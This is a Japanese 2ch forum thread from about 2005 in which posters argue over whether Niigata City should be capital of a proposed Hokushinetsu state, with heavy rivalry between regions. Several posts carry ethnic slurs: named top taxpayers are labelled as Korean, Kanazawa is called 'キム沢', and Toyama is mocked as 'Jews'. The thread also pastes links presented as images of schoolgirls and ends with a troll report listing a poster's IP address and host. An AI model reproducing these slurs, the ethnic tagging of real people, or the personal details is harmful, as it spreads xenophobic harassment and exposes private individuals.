http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=15
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=147
http://www.niigata-cci.or.jp/photo/contest.asp?concode=4&cdcode=159
http://www.niigata-cci.or.jp/photo/contest.asp?concode=3&cdcode=80
ビッグスワン
http://www.niigata-cci.or.jp/photo/contest.asp?concode=2&cdcode=42
日本海
http://www.niigata-cci.or.jp/photo/contest.asp?concode=1&cdcode=14

>>265
根拠を示せ。
金沢−新潟間に新幹線でもできるの？
そしたら少しはましになるかもねｗ
>>266
そもそも北陸3県でやっていこう
なんてやつなんていないよ。
大阪と比べて新潟が勝ってる点あるか？
名古屋にも京都にも勝てないじゃない。
新潟みたいに魅力ない町と心中するのが
嫌なだけだ。

新潟県の高額納税者（２００３年度分）

１　田中利之　　　建設会社社長　　　　　　 上越市　９８，２２２　※土建
２　李秀男　　　　 会社社長　　　　　　　　　 新潟市　９４，５０６　※朝鮮人
３　朴泰鉉　　　　 遊戯場経営会社社長　　豊栄市　８４，４８９　※朝鮮人
４　伊佐早正己　 無職　　　　　　　　　　　 　塩沢町　６５，５６７
５　捧賢一　　　　 コメリ会長　　　　　　　　　三条市　６３，５０７

新潟いいところだよ。
少なくとも、北陸各都市に比べれば雪少ないし。

>>272
誤差の範囲だろ。
東京や大阪の人間からみりゃ十分降ってるよ。

つまんねぇクソスレだな

まあ実際どうなるかはわからんが

＞名古屋に支配されてもいいかな
こんなこと言ってる石川、福井、富山の北陸３県はいずれにせよ植民地確定だな。
もはや自分達でも負けを認めている。実に哀れだ・・・。

>>275
名古屋の植民地は金沢だけですよ。福井も福井鉄道がちょっとだけ。金沢は全国時代から常に２番手の植民地。それなのに
何故か中華思想。現実は富山と名古屋の植民地。

新潟市原理主義者の妄想スレだな。
下越人の隔離スレだ。
痛い奴多すぎるな。

>>268
京都に拠点都市は新潟市よりも遥かに現実性が無い。
既に京阪神エリアとして大阪市の管轄だ。

一般的に地方中枢都市は３大都市（東京、名古屋、大阪）の全てから300km以上は離れている必要がある。

実際300km位は大都市から離れてないと拠点性を発揮する事は困難。
北信越でその条件を満たしているのは新潟市のみ。

札幌、仙台、広島、福岡はその距離的条件を満たしているからこそ拠点都市になれたと言える。
もし、国が新潟を後押しするとしたら、政令指定都市に足るレベルの都市規模と日本３大都市からの距離にあると思う。

>>277
ここは北信越州都新潟市を語る場だ。
いいじゃないか？

下越人は何で訛ってんの？

というか新潟は衰退しすぎ。
北信越で一番衰退してる所に州都とか救済でしかない。
政令指定都市や「国が。。。」などなんでも公共王国的な考えで
国に頼りすぎる。
そんなこと言ってるから民間の私企業は集まらないし人口は減り続ける。
おそらく衰退は止まらない。北陸新幹線も危機に火を注ぐし。

日本３大都市
（東京　名古屋　大阪）

地方拠点５大都市
（札幌　仙台　新潟　広島　福岡）

>>276
名古屋植民地表現は誇張もあるけどな。
富山も誇張＆電波。富山の植民地といってる
8割以上は富山人。

>>２８２
新潟は明らかに違う。
単なる孤立している勘違い都市かと。
どこと新潟市は親しいの？経済交流圏をもっているの？

新潟市の拠点性は上越長岡以下だな

>>281
新潟県全県はともかく、新潟市は着実に発展している。
そうでなければ81万都市にはなれないよ。

新潟県全土的な衰退は確かに問題だが、しかし良く考えよう。
全国レベルで見て新潟県はそれ程衰退しているだろうか？

元来新潟県は力のある県だ、北陸各単県に比してその規模が抜きに出ている事は今でも変わらない。

>>285
えええ〜〜〜

概して
「政令指定都市」であるか、ないかで一線が引かれる事は間違い無い。

>>286
北陸（石・富）は分県して今の姿。
新潟は東北の新潟と北陸の柏崎足してるだろ。

>>289
現在このスレは県レベルでの対比をしているよ”＃＄＝！

>>289
柏崎は中越です

新潟市の雰囲気は上越や柏崎と明らかに違うね。
新潟市は何故か町の雰囲気が寂しい。
東北の香りがする。

>>290
現実の人の流れや経済での結びつきで
富山−石川と下越ー上越の結びつきって
前者のほうが明らかに深いんだが。

いつもそう思うけどこのスレの
新潟人は思考停止しすぎ。
どうしても北信越がやりたいのはわかるけど
現実では新潟より名古屋や大阪のほうが結びつきが強いの、違う地方でも。

上越中越→旧柏崎県（北陸）

>>291
旧柏崎県だよ

富山は北信越で新潟と合併してもいいよ。
条件は北越、大光銀行のほくほくFGへの編入、新潟の電力網の北陸電力への編入。
これ位が可能なら地域としての一体感も生まれ富山人も新潟に努力するだろう。
北陸のユダヤ人富山の地位も安泰だろうし
地域も北信越も一体感が出来安定する。

下越塵は上越の北陸長野との親しい関係に嫉妬してるんですよ。

下越は周りに東北しかないからね。
何だかんだいって東北より北陸長野の方がイメージいいからね。

>>293
国が新潟の見方をしてくれるのかは不明だが

話し合いがつかなければ最後は国の裁断を仰ぐ事になりそうだ

概して国は高い評価をつけた地区を核として線引きをするだろうから、それを目指して皆で切磋琢磨し頑張ろう。

>>296
いやなれば自然の流れで
新潟に電力会社の本社が移ってもおかしくない。

>>298
だからいつも国って。
じゃあ話し合いがついたらいいんだな。
多分長野や福井はあっさり決まるよ。
名古屋も金沢簡単に捨てたくないだろうし。

>>299
面白いね、新潟の人って。
誰も僻地の衰退地区新潟と合併なんかしたいと思っていませんから〜
おもしろいから言ってみただけ。

>>300
つまり国は君の地域には味方してくれそうもないと言う事か？

>>300
名古屋を常にもちだす君は変だよ。名古屋にとって金沢の会社は利益を吸い上るシステム以外の何物でもないのだから。最近は赤字ばかりで吸い上げすらままにならないようだけど。

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>>303
馬鹿だな。
たとえば北鉄→名鉄みたいに
金沢での利益がそのまま名古屋にも流れることも多い。

別に名古屋でなくても関西はかなり
関西州を広げたがってるから。
北陸は地理的にそんな選択も出来る。
新幹線が延びる余地がない新潟とは違う。
>>300
あのな。
最終的に決まらない場合は確かにあるかも知れん
しかし話し合いで決まれば地方の納得いくお見合いさせるに越したことはない。

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まあ常識的に見て、率先力、積極性、実績をあげる人は企業では高く評価され、それなりの希望も通り、見返りを受ける。


ろくな都市戦略もせず、ただ「目指せ⇒名古屋・大阪の傘の下」如き負け犬的・不戦敗的根性を国が評価するだろうか？
そんな負け犬のわがまま通り名古屋・大阪の傘の下へ入れてくれるだろうか？

新潟は積極的・前向きに考えている。
国に、全国各地に、常にその存在をアピールするよう心掛けているし、実践を重ねている。

そんな努力を積み重ねている新潟が北信越を国に望んだとしたら、国は受け入れるんではないかな？

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>>308
国が決める枠組みじゃない。
自治体が決めるべきだ。
地方分権にも反する。
君はただ新潟市を州都にしたいだけ。
都市には都市の戦い方がある。
北陸は北陸でやれることがある。

>>306

話し合いで決まる確率⇒円満解決
話し合いで決まらない確立⇒国による強制実施

高いのはどちらでしょうか？

　　　　　　　彡川三三三ﾐ　　ｷﾑｽﾚ厨失笑ﾆｮｲ汚
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普通に富山だろ。州都は。

>>312
極限まで前者で待つと思うよ。
じゃないと民主主義じゃないじゃん。
それとも半島の共産主義でもしてんの、そちらでは

　　　　　　　彡川三三三ﾐ　　ｷﾑｽﾚ厨失笑ﾆｮｲ汚
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>>314
甘い。

富山州都になるなら新潟は引き下がって
北関東入りするだろ。

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>>311
それでは君の都市は具体的にどんな都市戦略を展開しているのか説明して下さい。
新潟が北信越州都を目指すのも、政令指定都市となり、地方中枢拠点都市を目指すのも具体的な都市戦略の一つだ。

「北陸は北陸でやれることがある」をただ繰り返すモラトリアム的な心掛けでは何も開けない。

都市間競争は決して甘くは無い、真剣にビジョンを持ち本気で取り組まなくては駄目だ。

>>315
全国他地域の常識から見て、その極限はあっさり超えるでしょう。

現実はこれだ。


名古屋の植民地は金沢だけですよ。福井も福井鉄道がちょっとだけ。金沢は全国時代から常に２番手の植民地。それなのに
何故か中華思想。現実は富山と名古屋の植民地。

>>321
植民地根性では未来は開けない。

植民地レベルの地区の言う事よりも、日々努力精進している都市の言い分の方を国は、日本全国は尊重するだろう。

負け犬、不戦敗宣言、植民地根性

なんて自虐的な発想なんだ

>>322
新潟は国に迷惑かけっぱしじゃないか。
だれにも相手されないのは何で？ってところから始めようね。

大阪の傘の下
名古屋の傘の下
挙句の果てが京都の傘の下

自分をさげすんでどうするんだ？

少なくとも新潟は衰退地域と陰口をたたかれても、決してくじけない。
前向きに向上心を持って都市開発に打ち込んでいる。

これが一番大事なのではありませんか？

>>314
富山は電力網と金融地盤がホスイ

>>324
詳しくは解らんが、たとえ国に迷惑をかけようとも、国からの評価を得るための努力は並ではない。
君の住む都市以上に気合が入っているはずだ。

というか妄想だらけのくだらんスレだな。

>>328
妄想で片付けるようではまだ真剣さが足りないな

日本３大都市
東京　名古屋　大阪　⇒　通称　「東名阪」

地方拠点５大都市
札幌　仙台　新潟　広島　福岡　⇒　通称　「札仙新広福」

新潟市内がＩＤ変えて自演オナニーか

新潟市民ってこんな恥ずい奴らしかおらんの？
新潟市民の妄想の激しさが出てるスレだな。
「新潟県は衰退地域だけど新潟市だけは別だ！新潟市は発展した！」
と本気で思い込んでいるのが何ともおめでたいとしか言いようがない。
周辺人口増えてないのに発展するわけないだろ。矛盾だ矛盾。
とうとう電波の強度も岡山人以上になってしまったか…

>>332
妄想と言われようとも自分の意志を明確に持つ事は立派だと思う。

電波強度は別としても他都市も見習うべき所はあるな。

>>331
確かに俺も思うたよ。
衰退地域の優位性を無謀に主張し続ける新潟市原理主義とか、
文章のキモさとかソックリ（Ｗ
確実に「新潟市内」いるな（Ｗ

まあいいけどさ。
新潟市はまず拠点性で金沢市に負けているという矛盾をどう説明するつもりだ？

>>334
コピー改変は無いか？

>>335
そのためには金沢の拠点性を全国に具体的にアピールする必要がある。
金沢としても手をこまねいてはいられないし。

まあ新潟市は「公共事業」とか「国の出先」とか「政令市」とか「州都」とか…
こういったモノにすがるしか生き残る道はないように思う。
いわゆる『国による救済』に活路を見出すのは正解だよね。
とにかくがんばれ。

自演しなけりゃ成り立たないんですよ。

>>335
金沢は兼六園は有名だが、国際会議の場としてもっと力を入れられないか？

>>340
大都市以外で国際会議はかなり少ない。
札仙広福クラスでも本格的な国際会議はかなり少ない。

なんか静かになって来た。

いいたい事は一通り言ったのかな？？

ここは妄想新潟市原理主義者の隔離スレとなってしまったようだ。
現実的な話題は以下で。

【長・上】北信越州　州都決戦【富・金】
http://travel2.2ch.net/test/read.cgi/chiri/1106586405/l50

>>341
まあ、本州のヘソと言うことで、金沢に国際会議を誘致しよう

金沢は富山の植民地だから発展できないだろうね。

富山は急速に飛騨地域との交流が深まりつつあるけど石川県が広域交流には不便なところだよね。能登自体がとんでもない僻地だし。将来はどうなるのやろ。

　飛越交流の発展を　富山市と飛騨市が初の懇談会

　富山市と飛騨市の経済、行政分野の交流を目的とした初めての「飛越経済交流懇談会」
が二十五日、飛騨市古川町の料亭旅館「八ツ三館」で開かれた。富山経済同友会代表幹事
でインテック社長の中尾哲雄氏が基調講演したほか、森富山市長、船坂飛騨市長を交えた
三者てい談や懇親会を通じて、飛越交流のさらなる発展を誓った。北日本新聞社共催。

　懇談会は、神通川やブリ街道を通じて古くから深い交流を続けてきた両市が市町村合併
で隣市となることを契機に、これまで以上の相互理解、関係強化を図ろうと企画された。
八嶋健三富山商工会議所会頭、牛丸忠久神岡商工会議所会頭、高見隆夫富山市議会議長、
石田隆司飛騨市議会議長をはじめ、両市の企業経営者、行政担当者ら合わせて約七十人が
参加した。

　中尾氏は「飛越経済圏の形成に向けて」と題して基調講演。「まず隣市で何が起きてい
るかを知る『情報交流』が不可欠。これが文化、歴史など総合的な交流に広がっていく」
と述べ「飛越経済圏形成のために、両市の経済、行政関係者による検討会を立ち上げては
どうか」と提案した。

　「新たな飛越交流への展望」をテーマにしたてい談では、飛越交流の現状や課題などに
ついて意見を交わした。船坂市長は「富山との交流が飛騨市が生き残るカギ」と話し、森
市長は「行政や県域を超えた交流をさらに進めたい」と応じた。

　懇親会は梅沢北日本新聞社長の発声で乾杯。参加者は名刺交換してあいさつを交わすな
ど、終始和やかに歓談した。船坂市長らが飛騨地方の祝い唄「めでた」を披露し、会場を
盛り上げた。

　白壁土蔵が美しい古い町並みの散策や、飛騨神岡高校による二足歩行ロボットを使った
アトラクションなども行われた。

森氏の熱弁に、新冨山市長の呼び声　飛越懇談会

　二十五日に「飛越経済交流懇談会」が開かれた飛騨市古川町の「八ツ三館」は、飛越交
流について熱弁する森富山市長を「新市長」と持ち上げる発言が相次いだ。

　口火を切ったのは中尾哲雄インテック社長。細入村の円空仏などの例を挙げ「新・富山
市は飛騨地方の文化が融合した地域が数多くある」と紹介する市長を、「新市長の気構え
になったような話だ」というと、会場からは大きな拍手。

　昨年十月の台風２３号被害で荒廃した森林整備に着手するという船坂飛騨市長の考え
に、森市長が「神通川流域の自治体全体で森林を守る必要がある」と同調すると、これに
は船坂市長が「��新市長�≠謔�しくお願いします」とやり、拍手はいっそう大きくなっ
た。

　森市長は富山地域七市町村合併の協議会長として汗をかいてきた。会場がやがて隣接市
となる飛騨市でつい力が入ったようで「少ししゃべりすぎた」と照れた。

>>346
東海北陸道は能越道へと名を変えて延びていくわけだし能登も便利になると思う。

こういう動きは道州制とどう関係があるのか判らないけど、交流地域が多いことはよろこばしいこと。
富山的には上越あたりまでなら親密にお付き合いしたいね。

富山のコピペ厨が出て来るとつまらん

自分はネイティブの新潟人だがこのスレに必死に書き込んでいるであろう、たった一人の意見がリアル新潟市民の総意ではないということを強く言いたい。ここの新潟人のような考え方がリアル新潟人の考え方だとしたら誰が喜んでそんな土地の支配下になる事を受け入れるんだよ!?

>>352
いや、「新潟市内」のような原理主義者は彼だけではない。
最近よく思うが「新潟市内」のような危ない妄想思想を持った
新潟市民はかなりいるな。そういう若者が育つ下地が新潟市にはある。

>>319
北陸は中部、関西、東海
どの都市圏からもアクセスがいい日本海側の基幹地域だ。
新潟は東京とのアクセスだけ。しかもその優位性も
北陸新幹線開通で牙城は崩れ、戦略しだいでは
北陸が新潟に勝つことも可能だ。

>>320
常識？
日本でも北信越みたいに経済活動もないのに
地域としての枠組みがあるところは珍しいよ。
北陸長野とも新潟とはお別れです。
一人でがんばっててください。

>>322
国ｗ
もはや笑うしかない。こいつに議論など出来ない。

>>352
確かにそうだと思う。
しかし、やや誇張的ではあるが、現実に当たらずとも遠からずとも言える。

現実問題としてやはり北陸と新潟の差は徐々に開きつつあるように思う。
北陸は経済活動が盛んでやや若干豊かな感じ。新潟は少し貧しい感じ。

>>353
「原理主義者」とは？

イスラム原理主義者じゃあるまいし。

しかし国の力は軽視できないと思う。
新潟は国力を頼みにする傾向があるが、それも都市間競争を生き抜くための手段だ。
この時代、「地方が決める」などときれい事だけでは生きては行けない事は誰もが知っているはず。

>>356
しかし北陸と言うと地理的には新潟県も含むのだが

>>357
だから単独で州でもやれば？
国に頼み込んで。

というか政治的圧力容認ですか。困ったものだ。
こんな人間に地方分権の話が出来るわけがないか。

いずれにしろここは、
北信越州都新潟市を語るスレだから

ここでは新潟州都でいいんじゃないの？

>>357
というか市場が決める。国も地方も関係ない。
市場で価値がある都市が上。
北京より上海、ワシントンよりニューヨーク。
州都は新潟市にとってすがるべき救済措置に当たる。

>>358
広義の意味ではね。
実際には北陸といえば石川富山福井。
北陸の名を捨てたのは関東甲信越にこだわった
新潟人

>>359
それは信州の事では？

それで長野は国に頼んでいるのかな？

>>363
信州が認められるようなら新潟も可能でしょ。
越後州でもやってくれという感じだ。
ただ北陸にはかかわらないでください。
友達と思われるので

>>359
激しく同意。
確かに「国が・・・」と地方分権とは思いっきり矛盾する。
地方が国の意向にとらわれずに独自の道を歩む為の地方分権だし。
今回の市町村合併でも住民投票など地元の意見によって最後は決まった。

>>361
しかし、国が定めた選挙区は実在し、道州制の枠組みそのものだ。
http://www.city.yokohama.jp/me/senkan/tosho/map.html

道州制推進連盟
http://www.dohshusei.org/map.html
も定義している。

>>366
選挙区ね。
毎回同じ結論になるね、君は。
少しは頭をやわらかくして考えろよ。
新潟だって州都にならなくても北関東の一つとして
やっていけないこともない。

>>366
それは住民投票で破談になればお終いだろ。
地域性や経済的つながりなど重視だから。
北海道、四国、北陸(3県)、信州、沖縄は人口規模が小さくてもありうる。

>>365

市町村⇒都道府県⇒国

市町村レベルの細かい合併であれば国も地方に任せるだろう。

しかし、都道府県の合併となると国政に直接影響する。
こればかりは予測がつかない。

>>369
そもそも県境というのがはっきりしてない。
違う県でも富山ー金沢みたいに密接なところがあれば、
飛騨−美濃みたいにはっきり分かれてるのがある。
一度経済や人の流れを元に
白紙地図から作ったほうがよいかも知れん

というかなぜ新潟市民が北信越にこだわるのか疑問なんだが。
だって日本のベースが東海道新幹線なら、 北信越のベースは北陸新幹線でしょう。
沿線にない都市は北信越という枠組みの中では新潟市は絶対に不利。
長野〜上越〜富山〜金沢あたりまでが北信越でいう「中央」となるし。

>>367
いや、既に篠田新潟市長は新潟市の「拠点都市構想」を表明している。
東北県庁所在地副市長会の誘いだって「オブザーバー」とは言え、「北信越枠」を根拠に丁重に断っている。

国に対しても本格的に働きかけ、周辺他県により足元をすくわれないように、ちゃんと根回しをしている。
既に新潟市の行政が具体的に行動に移っているのだ。

新潟市民が妄想だの危険だのと言っている段階ではない。

はいはいじゃあわが石川県は東海
になるようにがんばってもらおうかな。
こんなのと一緒になったらたまらん。
破産するなら一人でしてくれ

>>371
新幹線が交通ネットワークの全てではない。

高速道路網に関しては北信越は５県相互は勿論、周辺の東北、北関東、南関東、東海、近畿間ともすばらしいアクセスだ。

東海、近畿間ともすばらしいアクセスだ。
↑
冗談はよせ

>>374
>>373は北陸長野はそうだけど
勝手に人のものを自分のものにするのはやめてもらえないか、ジャイアンじゃあるまいし

>>376の>>373は>>375だ。
相手したら疲れてきたな

>>373
そういう心掛けでは新潟の希望通りに北信越に編入されますよ。

もっと向上心が必要ですね。

>>378
希望どうりって新潟の人口は250万、
北陸が300万、長野が200万だけど？
民主主義ってわかってます？
それともまた政治的圧力容認？

それから向上心があるから
東海選択ってのもあるでしょ。

州都にならない＝向上心がない。
ってのは違うんじゃないか？
あくまで都市というのは生活が
基盤じゃないかな、ボク？

>>379
福井石川富山　単県別に比較できないのは自分達に自信と誇りがない事の現れ

>>376
それ金沢人じゃん。
よく北陸三県が金沢の支配下にあるみたいなこと言ったり、
周辺の市町村にある会社（ナナオとかＰＦＵ）を、金沢の会社みたいに言ったり。

>>380
ボク？て
お子様相手じゃあるまいし

>>381
はいはい、石川117万、富山113万、福井90万弱
これでいいか？
どっちでも同じだろ。
木を見て森を見ずって知ってる？

>>381
単県別に比較しても北陸３県のほうが質がいい。
眠ってる資産が違う。

新潟人はもう現実を自覚した方が良い。
北信越という枠組みでは現実には北陸に飲み込まれるぞ。
州都とという救済措置で対抗するにも限界がある。
北陸新幹線の沿線最大都市で北信越の一番拠点の金沢が
州都になっちゃたらそれこそお終いだぞ。

■1955年　⇒ 2004年

新潟　247.3万人　⇒　244.9万人　（▲2.4）

富山　102.1万人　⇒　111.7万人　（△9.6）
石川　96.6万人　⇒　117.8万人　（△21.2）
福井　75.4万人　⇒　82.7万人　（△7.3）

北陸3県だけで　△38.1

>>382
詭弁だろ。
大体話をそらすな。
実際似たようなもんだから。
新潟みたいに合併してないだけ。
お前らの言ってるのは近畿や東海とのアクセスのよさって言う
北陸・長野の生命線を奪ってるだろ。

>>383
子供でしょ。

>>384
集合しないと意志が表明できんのか？

>>388
馬鹿だね。
北陸3つとも新潟みたいな貧乏舟お断りだから
3つあわせてカウントしただけ。
そんなとこから説明せないかんか？

>>386
州都の前に政令指定都市になれるのはいつですか？

北陸と新潟は地域的な括りとして問題ないよ。
面積も同じくらい。

●人口・面積・製造品出荷額等（平成１４年度）

北陸　312万人　1,262,105ｋ�u　7,236,564百万円
新潟　244万人　1,258,231ｋ�u　4,205,563百万円

県別地銀の貸し出し量の合計額でも調べてみろよ。
新潟はＧＤＰのわりには金額が少ない。
つまり地元資本が弱くて東京の植民地だってことだろ。

>>390
政令市になる必要はないだろう。金沢は合併できないし無理だろうよ。
でも拠点としては一番大きいだろうよ。それで一番の拠点⇒州都でいいんじゃない。

我々一市民がなんだかんだ言っても、行政間で協議して決めるんでしょ？

最後は国が調整するんでしょ？

ID:dKspUBP7 = pointか。

>>394
最後は住民投票だ。
国の助けをいくら求めてても駄目だと思うぞ。

>>393
残念だが金沢では都市の魅力に欠ける
その上政令指定都市にもなれないのでは

>>397
魅力？よく分からないが。だったら新潟はもっと魅力に欠けると思う。

>>369
市町村レベルなら住民投票もあるだろうが
州枠ともなると住民の意向はぶつかり合うだけで調整はつきっこない

選挙区通りでしょ

>>398
一度新潟に来て下さい。
その目で確かめて下さい。

ＩＤ変えて何が楽しいんだ？

こういう議論でいつも不思議に思うけど、
北信越州なんてそもそも出来るのか？

新潟人がＩＤ変えるのはおそらくpointのようにアク金にならないように
キムスレを荒らしているからだろうな。それが陰湿と言われる由縁なり。
自分らは巧みに荒らし金沢人を罠に掛けたんだろう。
そういう意味でタチが悪い。だから反感買ってもっと荒されるんだろう。
といっても失笑はわざと金沢に粘着して荒らして遊んでるからいいんだけど。

>>398
46 名無しさん＠女性魂 05/01/27 01:12:01 ID:TPGA5xmE
新潟の女子高生画像です。

http://www.geocities.jp/enoty_16/nigata/s-DSCN6137.jpg
http://www.geocities.jp/enoty_16/nigata/s-DSCN6158.jpg
http://www.geocities.jp/enoty_16/nigata/s-DSCN6165.jpg
http://www.geocities.jp/enoty_16/nigata/s-DSCN6271.jpg
http://www.geocities.jp/enoty_16/nigata/s-DSCN6267.jpg
http://www.geocities.jp/enoty_16/nigata/s-DSCN6261.jpg

>>402
ようわからん。できたとしてもあと３０年後じゃないか。

>>405
ここともう一個の
北陸道州スレ見比べれば
ここがいかに暴論で現実的でないかわかるよ。
むこうでは分都案が有力（金沢、富山、長野など）
そもそもこんな中途半端な州を成立させるためには
不平等を与えてはいけないわけだ。
それをやるためには
一極集中ではなく分散型でなくてはならない。
この台詞はむしろ新潟人から聞きたかったものだ。
しかし彼らは週のことなどどうでもいいわけですから
都市単位でしか話せないわけです。
どこかの坊やが新潟は都市としてのビジョンがあるとか抜かしてたけど
州に以降後のビジョンは皆無。

>>406

漢字能力に欠如している。

週のことなど⇒州
以降後のビジョン⇒移行後


市民レベルではわからんが、市長・行政レベルでは既にビジョン作成に着手していると考えられる。

そのうち公表されるのでは？

>>407
公表できないほどお粗末なものなんでしょ。
だいたい本当に州のこと考えてたら、
北信越地方の発展は北陸新幹線沿線が中心（人口も中心）
にあるわけだから一歩引くことはあってもそこから外れてる
新潟が州都になって北陸・長野を衰退させようと考えるはずがない。



というか揚げ足を取ることをしないと
反論できないの？

日本３大都市
（東京　名古屋　大阪）

地方拠点５大都市
（札幌　仙台　新潟　広島　福岡）

>>408
国策として、新潟を拠点都市化する話は聞くが、富山、金沢等を拠点都市にする話は全く聞かれない。

新幹線が全てではないだろう。
第一、北陸新幹線の並行在来線はＪＲ直営は不可能だ、良くて第三セクター悪くて廃止だ。
上越新幹線の並行在来線は今もＪＲ直営で健在だ。
これが事実を物語る。

貧乏県は引っ込んでろW
お前らごときに発言権は無い。
金沢が発展していく様を指を咥えて見ていなさい。

僻地で貧乏で魅力の無い新潟が州都になれる訳ないじゃん。
頭使って良く考えろよ低学歴どもが。

北陸新幹線は富山で終点
以降は財政難のため凍結となります。

少なくとも北陸３県の州枠は金沢が政令指定都市であるか否かにかかっていると見られる。
新潟県の扱いがキーとなっている。
http://www.nsknet.or.jp/~ydp/kento/forum.html

新潟県が北陸に入るか、北関東に入るかの分岐点は新潟市、金沢市の政令指定都市化にかかっている。
内閣副官房長官歴任者の発言だ、これはかなり重みがある。

>>411
国は、新潟県単独ではなく、北信越州内の新潟市として拠点都市化を構想している。

>>412
いや金沢・富山同時開業でしょう

>>410
また国策か。
いい加減にしてくれ。
そもそも中心を持っていかれたくなかったら
北信越なんて考えるなよ。
人口、経済の流れすべてが北陸新幹線沿いのほうが上。

>>412
妄想乙。
富山人の振りして楽しいか？

>>413
何かと思ったらキタグニか。
そんなの合併が進まない金沢氏にハッパをかけてるだけ
金沢が州都になるわけないじゃん。
おれは金沢市民だけど住民の半分以上が不利益をこうむる北信越は断固反対だし
するなら分都型だと思っている。

>>414
拠点といえば聞こえはいいが。
事実上どこの拠点になっているかといえば
どこの拠点でもない。

みんな新潟市内なんか相手にしてて暇だね

>>416
ただ「反対反対」だけでは国は何も聞いてくれない。
そんなネガティブな発想ではなく、どうしたら金沢が発展できるかを真剣に考えてこそ国も初めて動く。
このままでは農政局も財務局も新潟に統合されてしまうだろう。

君は何らかの対応策を練っているのか？

104 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：05/01/27(木) 18:41:44 ID:B6mBBJR4
キム沢港に向かった北の船は座礁したんだってね。
キム沢港周辺もちゃんと整備しないと。

105 名前：名無しの歩き方＠お腹いっぱい。[] 投稿日：05/01/27(木) 18:59:56 ID:gvdzsEa6
>>104
残念ながら向かった先は直江津だったと思うが

>>408、>>416
直江津って北陸新幹線沿線なんだけど、
ID:gvdzsEa6は都合のいいときだけ北陸新幹線沿線を持ち出すのね。

>>417
勝手に決め付けるところがたいしたものだ

>>417
新潟人も大勢いるからな

新潟市内は飽きた。

県都政令市の記事を引っ張ってくるなんて、まんま新潟市内じゃん。
言ってることが新潟市内そのまんまなんだから相手にするのも馬鹿馬鹿しい。

>>423
しかしこの記事は事実なんだろ？
石川県民はみんな知っているんだろ？

やっぱり図星か。自作自演で新潟市の優位性を必死に連呼か。
新潟市内は悲しい奴だね。内容がワンパターンだと飽きる。

新潟は合併を期に優位性などを全国にアピールするらしいが金沢はその優位性をアピールする考えはあるのか？

聞くところによると新潟市内は改名して新潟市になったそうだから「新潟市」が正しいんじゃ？

>>419
事実を指摘して何が悪いの？

>>420
じゃあどうして北信越が北陸長野にとって有益
なのか説明してください。

>>421
新潟は250万。
北信越のほかの県を合わせると
500万。

>>418
なんらかの対応策っていっててばかばかしくないのか？
個人が提案しても決めるのは政治家だし、
しかも２ｃｈで。

つかれた。

>>428
確かに２ｃｈではつかれる。
政治家が決めると言う事は国の出先機関統合も政治家が決める事になる。
政治家に何かを言わなくてはならないんじゃないかな？
行動なくしては何も創造されない。

ここは北信越州都新潟を語る場所だから気楽に新潟の拠点性を語ろうじゃないか

>>428の　420

北信越は新幹線が分断されている点が残念なところだ。
州完成後の第１テーマは長岡〜上越の新幹線アクセスの完備だ。
これは現在は不可能だが１つの州ともなれば最重要課題、いつまでもこの状況を放置しては置けないと思う。

北信越は高速道路網の整備は全国一だと思う。
これを活用しない手はない。
昔の交通手段は「道路」だ、これがしっかりしているから５県の相乗効果は高まり本州中央部における一大拠点州を形成できる。

>>423
でも、この記事が言っている事を石川県民はどう考えているのだ？

◆point.ne.jp

○荒らし報告 ： >>341-346
○報告対象板 ： http://travel2.2ch.net/chiri/　地理・お国自慢
○報告対象スレッド ：
　http://travel2.2ch.net/test/read.cgi/chiri/1106030175/11 05/01/19 20:49:21 ID:DegkFUkq
　http://travel2.2ch.net/test/read.cgi/chiri/1104551015/53 05/01/19 21:14:46 ID:DegkFUkq
　http://travel2.2ch.net/test/read.cgi/chiri/1105918184/11 05/01/19 21:15:18 ID:DegkFUkq
　http://travel2.2ch.net/test/read.cgi/chiri/1106046256/6 05/01/19 21:17:06 ID:DegkFUkq
　　他多数
○発生日時 ： 05/01/19 20:49:21 〜 05/01/19 23:29:18
○ログ開示 ： >>353-358
○リモートホスト ： hb64.ade3.point.ne.jp　60res
○荒らしの内容と特徴 ： 無意味な文字列の連続投稿

○書き込み内容（一部）
http://travel2.2ch.net/test/read.cgi/chiri/1104551015/53
＞53 名無しの歩き方＠お腹いっぱい。 05/01/19 21:14:46 ID:DegkFUkq
＞
＞　。　　。ﾟ　。。。　。ﾟ.。
＞　　　彡川川川三三三ﾐ〜。。
＞　。　川｜川／ﾟ∴ﾟ＼ b〜　　ﾌﾟｩ〜ﾝ
＞　。‖｜‖.ﾟ◎---◎ﾟ｜〜 ﾟ・　　／￣￣￣￣￣￣￣￣￣
＞　　川川‖∵∴ﾟ｡3∵ﾟヽ〜。　＜　　　ボク劣等農民ニョイ汚デス。
＞　　川川∴ﾟ∵∴）д（∴ﾟ）〜ﾟ　　 ＼　得意は、税金ドロボー＆ゲリ便です。
＞　。川川∵∴ﾟ∵∴〜・%〜｡　　　　　　金沢・富山・福井・群馬・福島も相手にしてくれないし
＞　　川川‖∵∴ﾟ〜∵/。　　　　　　　　長野県の皆さん、何か物ください！
＞　川川川川∴∵∴‰U 　 　:
＞　U　〆∵ﾟ‥｡ ﾟoﾟ o＼＿　。
＞。　/　　＼ﾟ。∵@ﾟ∴o∴つ
＞　o |∴＼　'''''ﾟ''''''''''''つ　U
＞　 %。ﾟ。。‰∴｡∵ﾟ∴oﾟ　 o
＞　｜o∵o｡∵∴｡o∵ﾟ∴｜

○該当部分のログ
名無しの歩き方＠お腹いっぱい。<><>05/01/19 21:14:46 DegkFUkq<> <br> 　。　　。ﾟ　。。。　。ﾟ<><>hb64.ade3.point.ne.jp<>202.164.87.64<>

名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:24:24 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:29:17 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 22:34:10 DegkFUkq<>From：ｑ <br> <br> 「新潟市内<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
名無しの歩き方＠お腹いっぱい。<><>05/01/19 23:00:09 DegkFUkq<><a href="../test/read.cgi/chir<><>hb64.ade3.point.ne.jp<>202.164.87.64<>
